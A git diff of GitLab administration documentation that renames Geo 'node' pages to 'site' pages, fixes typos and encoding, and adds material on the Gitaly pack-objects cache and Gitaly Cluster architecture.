- tested upgrading to PostgreSQL 11 in Geo deployments on GitLab 12.9.
+ tested upgrading to PostgreSQL 11 in Geo deployments in GitLab 12.9.
- Outcome: Partially successful. Issues were discovered in multi-node configurations with a separate
tracking database and concerns were raised about allowing automatic upgrades when Geo enabled.
- Follow up issues:
- [`replicate-geo-database` incorrectly tries to back up repositories](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5241).
- [`pg-upgrade` fails to upgrade a standalone Geo tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5242).
- - [`revert-pg-upgrade` fails to downgrade the PostgreSQL data of a Geo secondary’s standalone tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5243).
+ - [`revert-pg-upgrade` fails to downgrade the PostgreSQL data of a Geo secondary's standalone tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5243).
- [Timeout error on Geo secondary read-replica near the end of `gitlab-ctl pg-upgrade`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5235).
[Verify Geo installation with PostgreSQL 11](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4971):
diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md
index 06cf5375f0d..09ea84b6c4b 100644
--- a/doc/administration/geo/replication/remove_geo_node.md
+++ b/doc/administration/geo/replication/remove_geo_node.md
@@ -1,58 +1,8 @@
---
-stage: Enablement
-group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: howto
+redirect_to: '../../geo/replication/remove_geo_site.md'
---
-# Removing secondary Geo nodes **(PREMIUM SELF)**
+This document was moved to [another location](../../geo/replication/remove_geo_site.md).
-**Secondary** nodes can be removed from the Geo cluster using the Geo administration page of the **primary** node. To remove a **secondary** node:
-
-1. Go to **Admin Area > Geo** (`/admin/geo/nodes`).
-1. Click the **Remove** button for the **secondary** node you want to remove.
-1. Confirm by clicking **Remove** when the prompt appears.
-
-Once removed from the Geo administration page, you must stop and uninstall the **secondary** node:
-
-1. On the **secondary** node, stop GitLab:
-
- ```shell
- sudo gitlab-ctl stop
- ```
-
-1. On the **secondary** node, uninstall GitLab:
-
- ```shell
- # Stop gitlab and remove its supervision process
- sudo gitlab-ctl uninstall
-
- # Debian/Ubuntu
- sudo dpkg --remove gitlab-ee
-
- # Redhat/Centos
- sudo rpm --erase gitlab-ee
- ```
-
-Once GitLab has been uninstalled from the **secondary** node, the replication slot must be dropped from the **primary** node's database as follows:
-
-1. On the **primary** node, start a PostgreSQL console session:
-
- ```shell
- sudo gitlab-psql
- ```
-
- NOTE:
- Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions.
-
-1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`.
-
- ```sql
- SELECT * FROM pg_replication_slots;
- ```
-
-1. Remove the replication slot for the **secondary** node:
-
- ```sql
- SELECT pg_drop_replication_slot('<name_of_slot>');
- ```
+<!-- This redirect file can be deleted after 2022-04-01 -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/remove_geo_site.md b/doc/administration/geo/replication/remove_geo_site.md
new file mode 100644
index 00000000000..a42a4c4eb47
--- /dev/null
+++ b/doc/administration/geo/replication/remove_geo_site.md
@@ -0,0 +1,58 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: howto
+---
+
+# Removing secondary Geo sites **(PREMIUM SELF)**
+
+**Secondary** sites can be removed from the Geo cluster using the Geo administration page of the **primary** site. To remove a **secondary** site:
+
+1. Go to **Admin Area > Geo** (`/admin/geo/nodes`).
+1. Select the **Remove** button for the **secondary** site you want to remove.
+1. Confirm by selecting **Remove** when the prompt appears.
+
+Once removed from the Geo administration page, you must stop and uninstall the **secondary** site. For each node on your secondary Geo site:
+
+1. Stop GitLab:
+
+ ```shell
+ sudo gitlab-ctl stop
+ ```
+
+1. Uninstall GitLab:
+
+ ```shell
+ # Stop gitlab and remove its supervision process
+ sudo gitlab-ctl uninstall
+
+ # Debian/Ubuntu
+ sudo dpkg --remove gitlab-ee
+
+ # Redhat/Centos
+ sudo rpm --erase gitlab-ee
+ ```
+
+Once GitLab has been uninstalled from each node on the **secondary** site, the replication slot must be dropped from the **primary** site's database as follows:
+
+1. On the **primary** site's database node, start a PostgreSQL console session:
+
+ ```shell
+ sudo gitlab-psql
+ ```
+
+ NOTE:
+ Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions.
+
+1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`.
+
+ ```sql
+ SELECT * FROM pg_replication_slots;
+ ```
+
+1. Remove the replication slot for the **secondary** site:
+
+ ```sql
+ SELECT pg_drop_replication_slot('<name_of_slot>');
+ ```
diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md
index c31881910bc..abb84b95623 100644
--- a/doc/administration/geo/replication/security_review.md
+++ b/doc/administration/geo/replication/security_review.md
@@ -34,7 +34,7 @@ from [owasp.org](https://owasp.org/).
### How can the data be classified into categories according to its sensitivity?
- The GitLab model of sensitivity is centered around public vs. internal vs.
- private projects. Geo replicates them all indiscriminately. “Selective syncâ€
+ private projects. Geo replicates them all indiscriminately. "Selective sync"
exists for files and repositories (but not database content), which would permit
only less-sensitive projects to be replicated to a **secondary** node if desired.
- See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-standard.html).
@@ -81,7 +81,7 @@ from [owasp.org](https://owasp.org/).
considered an administrator with super-user privileges.
- See also: [more granular access control](https://gitlab.com/gitlab-org/gitlab/-/issues/18242)
(not Geo-specific).
-- Much of Geo’s integration (database replication, for instance) must be
+- Much of Geo's integration (database replication, for instance) must be
configured with the application, typically by system administrators.
### What administrative capabilities does the application offer?
@@ -165,7 +165,7 @@ from [owasp.org](https://owasp.org/).
### What aspects of the product may or may not be hosted via the cloud computing model?
-- GitLab is “cloud native†and this applies to Geo as much as to the rest of the
+- GitLab is "cloud native" and this applies to Geo as much as to the rest of the
product. Deployment in clouds is a common and supported scenario.
## If applicable, what approach(es) to cloud computing will be taken (Managed Hosting versus "Pure" Cloud, a "full machine" approach such as AWS-EC2 versus a "hosted database" approach such as AWS-RDS and Azure, etc)?
@@ -223,7 +223,7 @@ from [owasp.org](https://owasp.org/).
### What data input validation requirements have been defined?
-- **Secondary** nodes must have a faithful replication of the **primary** node’s data.
+- **Secondary** nodes must have a faithful replication of the **primary** node's data.
### What data does the application store and how?
@@ -235,7 +235,7 @@ from [owasp.org](https://owasp.org/).
rest. A subset of database columns are encrypted at rest using the `db_otp_key`.
- A static secret shared across all hosts in a GitLab deployment.
- In transit, data should be encrypted, although the application does permit
- communication to proceed unencrypted. The two main transits are the **secondary** node’s
+ communication to proceed unencrypted. The two main transits are the **secondary** node's
replication process for PostgreSQL, and for Git repositories/files. Both should
be protected using TLS, with the keys for that managed via Omnibus per existing
configuration for end-user access to GitLab.
diff --git a/doc/administration/geo/replication/usage.md b/doc/administration/geo/replication/usage.md
new file mode 100644
index 00000000000..2fcc0565567
--- /dev/null
+++ b/doc/administration/geo/replication/usage.md
@@ -0,0 +1,27 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: howto
+---
+
+<!-- Please update EE::GitLab::GeoGitAccess::GEO_SERVER_DOCS_URL if this file is moved) -->
+
+# Using a Geo Site **(PREMIUM SELF)**
+
+After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab site as you would do with the primary one.
+
+You can push directly to a **secondary** site (for both HTTP, SSH including Git LFS), and the request will be proxied to the primary site instead ([introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3).
+
+Example of the output you will see when pushing to a **secondary** site:
+
+```shell
+$ git push
+remote:
+remote: This request to a Geo secondary node will be forwarded to the
+remote: Geo primary node:
+remote:
+remote: ssh://git@primary.geo/user/repo.git
+remote:
+Everything up-to-date
+```
diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md
index 7578b6bf61a..e48e750f710 100644
--- a/doc/administration/geo/replication/using_a_geo_server.md
+++ b/doc/administration/geo/replication/using_a_geo_server.md
@@ -1,27 +1,8 @@
---
-stage: Enablement
-group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: howto
+redirect_to: '../../geo/replication/usage.md'
---
-<!-- Please update EE::GitLab::GeoGitAccess::GEO_SERVER_DOCS_URL if this file is moved) -->
+This document was moved to [another location](../../geo/replication/usage.md).
-# Using a Geo Server **(PREMIUM SELF)**
-
-After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance.
-
-Pushing directly to a **secondary** node (for both HTTP, SSH including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3.
-
-Example of the output you will see when pushing to a **secondary** node:
-
-```shell
-$ git push
-remote:
-remote: You're pushing to a Geo secondary. We'll help you by proxying this
-remote: request to the primary:
-remote:
-remote: ssh://git@primary.geo/user/repo.git
-remote:
-Everything up-to-date
-```
+<!-- This redirect file can be deleted after 2022-04-01 -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 883e5d44b69..4f0a4dc638c 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Version-specific update instructions
+# Version-specific update instructions **(PREMIUM SELF)**
Review this page for update instructions for your version. These steps
accompany the [general steps](updating_the_geo_nodes.md#general-update-steps)
diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md
index 7128d4283d1..9c2cc8fc62e 100644
--- a/doc/administration/geo/setup/database.md
+++ b/doc/administration/geo/setup/database.md
@@ -672,7 +672,7 @@ For each Patroni instance on the secondary site:
## Migrating from repmgr to Patroni
1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node.
-1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replicaton_slots'] = { '<slot_name>' => 'physical' }`
+1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replication_slots'] = { '<slot_name>' => 'physical' }`
to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting.
1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary.
diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md
index 8308cbfa82e..5ec18e29f21 100644
--- a/doc/administration/geo/setup/index.md
+++ b/doc/administration/geo/setup/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Setting up Geo
+# Setting up Geo **(PREMIUM SELF)**
These instructions assume you have a working instance of GitLab. They guide you through:
diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md
index 7e3647d1e34..51ad376a625 100644
--- a/doc/administration/gitaly/configure_gitaly.md
+++ b/doc/administration/gitaly/configure_gitaly.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Configure Gitaly
+# Configure Gitaly **(FREE SELF)**
The Gitaly service itself is configured by using a [TOML configuration file](reference.md).
@@ -941,3 +941,226 @@ result as you did at the start. For example:
```
Note that `enforced="true"` means that authentication is being enforced.
+
+## Pack-objects cache **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/372) in GitLab 13.11.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+
+[Gitaly](index.md), the service that provides storage for Git
+repositories, can be configured to cache a short rolling window of Git
+fetch responses. This can reduce server load when your server receives
+lots of CI fetch traffic.
+
+### Overview
+
+The pack-objects cache wraps `git pack-objects`, an internal part of
+Git that gets invoked indirectly via the PostUploadPack and
+SSHUploadPack Gitaly RPCs. These are the RPCs that Gitaly runs when a
+user does a Git fetch via HTTP or SSH, respectively. When the cache is
+enabled, anything that uses PostUploadPack or SSHUploadPack can
+benefit from it. It is orthogonal to:
+
+- The transport (HTTP or SSH).
+- Git protocol version (v0 or v2).
+- The type of fetch (full clones, incremental fetches, shallow clones,
+ partial clones, and so on).
+
+The strength of this cache is its ability to deduplicate concurrent
+identical fetches. It:
+
+- Can benefit GitLab instances where your users run CI/CD pipelines with many concurrent jobs.
+ There should be a noticeable reduction in server CPU utilization.
+- Does not benefit unique fetches at all. For example, if you run a spot check by cloning a
+ repository to your local computer, you are unlikely to see a benefit from this cache because
+ your fetch is probably unique.
+
+The pack-objects cache is a local cache. It:
+
+- Stores its metadata in the memory of the Gitaly process it is enabled in.
+- Stores the actual Git data it is caching in files on local storage.
+
+Using local files has the benefit that the operating system may
+automatically keep parts of the pack-objects cache files in RAM,
+making it faster.
+
+Because the pack-objects cache can lead to a significant increase in
+disk write IO, it is off by default.
+
+### Configure the cache
+
+These are the configuration settings for the pack-objects cache. Each
+setting is discussed in greater detail below.
+
+|Setting|Default|Description|
+|:---|:---|:---|
+|`enabled`|`false`|Turns on the cache. When off, Gitaly runs a dedicated `git pack-objects` process for each request. |
+|`dir`|`<PATH TO FIRST STORAGE>/+gitaly/PackObjectsCache`|Local directory where cache files get stored.|
+|`max_age`|`5m` (5 minutes)|Cache entries older than this get evicted and removed from disk.|
+
+In `/etc/gitlab/gitlab.rb`, set:
+
+```ruby
+gitaly['pack_objects_cache_enabled'] = true
+## gitaly['pack_objects_cache_dir'] = '/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache'
+## gitaly['pack_objects_cache_max_age'] = '5m'
+```
+
+#### `enabled` defaults to `false`
+
+The cache is disabled by default. This is because in some cases, it
+can create an [extreme
+increase](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/4010#note_534564684)
+in the number of bytes written to disk. On GitLab.com, we have verified
+that our repository storage disks can handle this extra workload, but
+we felt we cannot assume this is true everywhere.
+
+#### Cache storage directory `dir`
+
+The cache needs a directory to store its files in. This directory
+should be:
+
+- In a filesystem with enough space. If the cache filesystem runs out of space, all
+ fetches start failing.
+- On a disk with enough IO bandwidth. If the cache disk runs out of IO bandwidth, all
+ fetches, and probably the entire server, slows down.
+
+By default, the cache storage directory is set to a subdirectory of the first Gitaly storage
+defined in the configuration file.
+
+Multiple Gitaly processes can use the same directory for cache storage. Each Gitaly process
+uses a unique random string as part of the cache filenames it creates. This means:
+
+- They do not collide.
+- They do not reuse another process's files.
+
+While the default directory puts the cache files in the same
+filesystem as your repository data, this is not requirement. You can
+put the cache files on a different filesystem if that works better for
+your infrastructure.
+
+The amount of IO bandwidth required from the disk depends on:
+
+- The size and shape of the repositories on your Gitaly server.
+- The kind of traffic your users generate.
+
+You can use the `gitaly_pack_objects_generated_bytes_total` metric as a pessimistic estimate,
+pretending your cache hit ratio is 0%.
+
+The amount of space required depends on:
+
+- The bytes per second that your users pull from the cache.
+- The size of the `max_age` cache eviction window.
+
+If your users pull 100 MB/s and you use a 5 minute window, then on average you have
+`5*60*100MB = 30GB` of data in your cache directory. This is an expected average, not
+a guarantee. Peak size may exceed this average.
+
+#### Cache eviction window `max_age`
+
+The `max_age` configuration setting lets you control the chance of a
+cache hit and the average amount of storage used by cache files.
+Entries older than `max_age` get evicted from the in-memory metadata
+store, and deleted from disk.
+
+Note that eviction does not interfere with ongoing requests, so it is OK
+for `max_age` to be less than the time it takes to do a fetch over a
+slow connection. This is because Unix filesystems do not truly delete
+a file until all processes that are reading the deleted file have
+closed it.
+
+### Observe the cache
+
+The cache can be observed in logs and using metrics.
+
+#### Logs
+
+|Message|Fields|Description|
+|:---|:---|:---|
+|`generated bytes`|`bytes`, `cache_key`|Logged when an entry was added to the cache|
+|`served bytes`|`bytes`, `cache_key`|Logged when an entry was read from the cache|
+
+In the case of a:
+
+- Cache miss, Gitaly logs both a `generated bytes` and a `served bytes` message.
+- Cache hit, Gitaly logs only a `served bytes` message.
+
+Example:
+
+```json
+{
+ "bytes":26186490,
+ "cache_key":"1b586a2698ca93c2529962e85cda5eea8f0f2b0036592615718898368b462e19",
+ "correlation_id":"01F1MY8JXC3FZN14JBG1H42G9F",
+ "grpc.meta.deadline_type":"none",
+ "grpc.method":"PackObjectsHook",
+ "grpc.request.fullMethod":"/gitaly.HookService/PackObjectsHook",
+ "grpc.request.glProjectPath":"root/gitlab-workhorse",
+ "grpc.request.glRepository":"project-2",
+ "grpc.request.repoPath":"@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.git",
+ "grpc.request.repoStorage":"default",
+ "grpc.request.topLevelGroup":"@hashed",
+ "grpc.service":"gitaly.HookService",
+ "grpc.start_time":"2021-03-25T14:57:52.747Z",
+ "level":"info",
+ "msg":"generated bytes",
+ "peer.address":"@",
+ "pid":20961,
+ "span.kind":"server",
+ "system":"grpc",
+ "time":"2021-03-25T14:57:53.543Z"
+}
+{
+ "bytes":26186490,
+ "cache_key":"1b586a2698ca93c2529962e85cda5eea8f0f2b0036592615718898368b462e19",
+ "correlation_id":"01F1MY8JXC3FZN14JBG1H42G9F",
+ "grpc.meta.deadline_type":"none",
+ "grpc.method":"PackObjectsHook",
+ "grpc.request.fullMethod":"/gitaly.HookService/PackObjectsHook",
+ "grpc.request.glProjectPath":"root/gitlab-workhorse",
+ "grpc.request.glRepository":"project-2",
+ "grpc.request.repoPath":"@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.git",
+ "grpc.request.repoStorage":"default",
+ "grpc.request.topLevelGroup":"@hashed",
+ "grpc.service":"gitaly.HookService",
+ "grpc.start_time":"2021-03-25T14:57:52.747Z",
+ "level":"info",
+ "msg":"served bytes",
+ "peer.address":"@",
+ "pid":20961,
+ "span.kind":"server",
+ "system":"grpc",
+ "time":"2021-03-25T14:57:53.543Z"
+}
+```
+
+#### Metrics
+
+The following cache metrics are available.
+
+|Metric|Type|Labels|Description|
+|:---|:---|:---|:---|
+|`gitaly_pack_objects_cache_enabled`|gauge|`dir`,`max_age`|Set to `1` when the cache is enabled via the Gitaly config file|
+|`gitaly_pack_objects_cache_lookups_total`|counter|`result`|Hit/miss counter for cache lookups|
+|`gitaly_pack_objects_generated_bytes_total`|counter||Number of bytes written into the cache|
+|`gitaly_pack_objects_served_bytes_total`|counter||Number of bytes read from the cache|
+|`gitaly_streamcache_filestore_disk_usage_bytes`|gauge|`dir`|Total size of cache files|
+|`gitaly_streamcache_index_entries`|gauge|`dir`|Number of entries in the cache|
+
+Some of these metrics start with `gitaly_streamcache`
+because they are generated by the "streamcache" internal library
+package in Gitaly.
+
+Example:
+
+```plaintext
+gitaly_pack_objects_cache_enabled{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache",max_age="300"} 1
+gitaly_pack_objects_cache_lookups_total{result="hit"} 2
+gitaly_pack_objects_cache_lookups_total{result="miss"} 1
+gitaly_pack_objects_generated_bytes_total 2.618649e+07
+gitaly_pack_objects_served_bytes_total 7.855947e+07
+gitaly_streamcache_filestore_disk_usage_bytes{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 2.6200152e+07
+gitaly_streamcache_filestore_removed_total{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 1
+gitaly_streamcache_index_entries{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 1
+```
diff --git a/doc/administration/gitaly/img/architecture_v12_4.png b/doc/administration/gitaly/img/architecture_v12_4.png
deleted file mode 100644
index 6a3955a483b..00000000000
--- a/doc/administration/gitaly/img/architecture_v12_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index b314fa85af7..1a8e18ca2b2 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -5,72 +5,296 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Gitaly
+# Gitaly and Gitaly Cluster **(FREE SELF)**
-[Gitaly](https://gitlab.com/gitlab-org/gitaly) is the service that provides high-level RPC access to
-Git repositories. Without it, no GitLab components can read or write Git data.
+[Gitaly](https://gitlab.com/gitlab-org/gitaly) provides high-level RPC access to Git repositories.
+It is used by GitLab to read and write Git data.
-In the Gitaly documentation:
+Gitaly implements a client-server architecture:
-- **Gitaly server** refers to any node that runs Gitaly itself.
-- **Gitaly client** refers to any node that runs a process that makes requests of the
- Gitaly server. Processes include, but are not limited to:
+- A Gitaly server is any node that runs Gitaly itself.
+- A Gitaly client is any node that runs a process that makes requests of the Gitaly server. These
+ include, but are not limited to:
- [GitLab Rails application](https://gitlab.com/gitlab-org/gitlab).
- [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell).
- [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).
-GitLab end users do not have direct access to Gitaly. Gitaly manages only Git
-repository access for GitLab. Other types of GitLab data aren't accessed using Gitaly.
+The following illustrates the Gitaly client-server architecture:
+
+```mermaid
+flowchart TD
+ subgraph Gitaly clients
+ A[GitLab Rails]
+ B[GitLab Workhorse]
+ C[GitLab Shell]
+ D[...]
+ end
+
+ subgraph Gitaly
+ E[Git integration]
+ end
+
+F[Local filesystem]
+
+A -- gRPC --> Gitaly
+B -- gRPC--> Gitaly
+C -- gRPC --> Gitaly
+D -- gRPC --> Gitaly
+
+E --> F
+```
+
+End users do not have direct access to Gitaly. Gitaly manages only Git repository access for GitLab.
+Other types of GitLab data aren't accessed using Gitaly.
<!-- vale gitlab.FutureTense = NO -->
WARNING:
-From GitLab 13.0, Gitaly support for NFS is deprecated. As of GitLab 14.0, NFS-related issues
-with Gitaly will no longer be addressed. Upgrade to [Gitaly Cluster](praefect.md) as soon as
-possible. Tools to [enable bulk moves](https://gitlab.com/groups/gitlab-org/-/epics/4916)
-of projects to Gitaly Cluster are planned.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](#nfs-deprecation-notice).
<!-- vale gitlab.FutureTense = YES -->
-## Architecture
+## Configure Gitaly
-The following is a high-level architecture overview of how Gitaly is used.
+Gitaly comes pre-configured with Omnibus GitLab, which is a configuration
+[suitable for up to 1000 users](../reference_architectures/1k_users.md). For:
-![Gitaly architecture diagram](img/architecture_v12_4.png)
+- Omnibus GitLab installations for up to 2000 users, see [specific Gitaly configuration instructions](../reference_architectures/2k_users.md#configure-gitaly).
+- Source installations or custom Gitaly installations, see [Configure Gitaly](#configure-gitaly).
-## Configure Gitaly
+GitLab installations for more than 2000 users should use Gitaly Cluster.
+
+NOTE:
+If not set in GitLab, feature flags are read as false from the console and Gitaly uses their
+default value. The default value depends on the GitLab version.
+
+## Gitaly Cluster
+
+Gitaly, the service that provides storage for Git repositories, can
+be run in a clustered configuration to scale the Gitaly service and increase
+fault tolerance. In this configuration, every Git repository is stored on every
+Gitaly node in the cluster.
+
+Using a Gitaly Cluster increases fault tolerance by:
+
+- Replicating write operations to warm standby Gitaly nodes.
+- Detecting Gitaly node failures.
+- Automatically routing Git requests to an available Gitaly node.
+
+NOTE:
+Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate
+customers.
+
+The availability objectives for Gitaly clusters are:
+
+- **Recovery Point Objective (RPO):** Less than 1 minute.
+
+ Writes are replicated asynchronously. Any writes that have not been replicated
+ to the newly promoted primary are lost.
+
+ [Strong consistency](praefect.md#strong-consistency) can be used to avoid loss in some
+ circumstances.
+
+- **Recovery Time Objective (RTO):** Less than 10 seconds.
+ Outages are detected by a health check run by each Praefect node every
+ second. Failover requires ten consecutive failed health checks on each
+ Praefect node.
+
+ [Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608)
+ is planned to improve this to less than 1 second.
+
+Gitaly Cluster supports:
+
+- [Strong consistency](praefect.md#strong-consistency) of the secondary replicas.
+- [Automatic failover](praefect.md#automatic-failover-and-leader-election) from the primary to the secondary.
+- Reporting of possible data loss if replication queue is non-empty.
+- Marking repositories as [read only](praefect.md#read-only-mode) if data loss is detected to prevent data inconsistencies.
+
+Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489)
+for improvements including
+[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013).
+
+### Overview
+
+Git storage is provided through the Gitaly service in GitLab, and is essential
+to the operation of the GitLab application. When the number of
+users, repositories, and activity grows, it is important to scale Gitaly
+appropriately by:
+
+- Increasing the available CPU and memory resources available to Git before
+ resource exhaustion degrades Git, Gitaly, and GitLab application performance.
+- Increase available storage before storage limits are reached causing write
+ operations to fail.
+- Improve fault tolerance by removing single points of failure. Git should be
+ considered mission critical if a service degradation would prevent you from
+ deploying changes to production.
+
+### Moving beyond NFS
+
+WARNING:
+From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0,
+support for NFS for Git repositories is scheduled to be removed. Upgrade to
+Gitaly Cluster as soon as possible.
+
+[Network File System (NFS)](https://en.wikipedia.org/wiki/Network_File_System)
+is not well suited to Git workloads which are CPU and IOPS sensitive.
+Specifically:
+
+- Git is sensitive to file system latency. Even simple operations require many
+ read operations. Operations that are fast on block storage can become an order of
+ magnitude slower. This significantly impacts GitLab application performance.
+- NFS performance optimizations that prevent the performance gap between
+ block storage and NFS being even wider are vulnerable to race conditions. We have observed
+ [data inconsistencies](https://gitlab.com/gitlab-org/gitaly/-/issues/2589)
+ in production environments caused by simultaneous writes to different NFS
+ clients. Data corruption is not an acceptable risk.
+
+Gitaly Cluster is purpose built to provide reliable, high performance, fault
+tolerant Git storage.
+
+Further reading:
+
+- Blog post: [The road to Gitaly v1.0 (aka, why GitLab doesn't require NFS for storing Git data anymore)](https://about.gitlab.com/blog/2018/09/12/the-road-to-gitaly-1-0/)
+- Blog post: [How we spent two weeks hunting an NFS bug in the Linux kernel](https://about.gitlab.com/blog/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/)
+
+### Where Gitaly Cluster fits
+
+GitLab accesses [repositories](../../user/project/repository/index.md) through the configured
+[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the
+repository storages based on their configured weights. Each repository storage is either:
+
+- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a
+ Gitaly node.
+- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual
+ storage is a cluster of Gitaly storages that appear as a single repository storage.
+
+Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to
+multiple storages for fault tolerance. Virtual storages can improve performance by distributing
+requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository
+storage in GitLab to simplify repository management.
+
+### Components of Gitaly Cluster
+
+Gitaly Cluster consists of multiple components:
+
+- [Load balancer](praefect.md#load-balancer) for distributing requests and providing fault-tolerant access to
+ Praefect nodes.
+- [Praefect](praefect.md#praefect) nodes for managing the cluster and routing requests to Gitaly nodes.
+- [PostgreSQL database](praefect.md#postgresql) for persisting cluster metadata and [PgBouncer](praefect.md#pgbouncer),
+ recommended for pooling Praefect's database connections.
+- Gitaly nodes to provide repository storage and Git access.
+
+![Cluster example](img/cluster_example_v13_3.png)
+
+In this example:
+
+- Repositories are stored on a virtual storage called `storage-1`.
+- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`.
+- The three Gitaly nodes store data on their file systems.
+
+### Virtual storage or direct Gitaly storage
+
+Gitaly supports multiple models of scaling:
+
+- Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the
+ cluster. Read requests are distributed between repository replicas and write requests are
+ broadcast to repository replicas. GitLab accesses virtual storage.
+- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md),
+ where each repository is stored on the assigned Gitaly node. All requests are routed to this node.
-Gitaly comes pre-configured with Omnibus GitLab. For more information on customizing your
-Gitaly installation, see [Configure Gitaly](configure_gitaly.md).
+The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster:
-## Direct Git access bypassing Gitaly
+![Shard example](img/shard_example_v13_3.png)
-GitLab doesn't advise directly accessing Gitaly repositories stored on disk with
-a Git client, because Gitaly is being continuously improved and changed. These
-improvements may invalidate assumptions, resulting in performance degradation, instability, and even data loss.
+In this example:
-Gitaly has optimizations, such as the
-[`info/refs` advertisement cache](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md),
-that rely on Gitaly controlling and monitoring access to repositories by using the
-official gRPC interface. Likewise, Praefect has optimizations, such as fault
-tolerance and distributed reads, that depend on the gRPC interface and
-database to determine repository state.
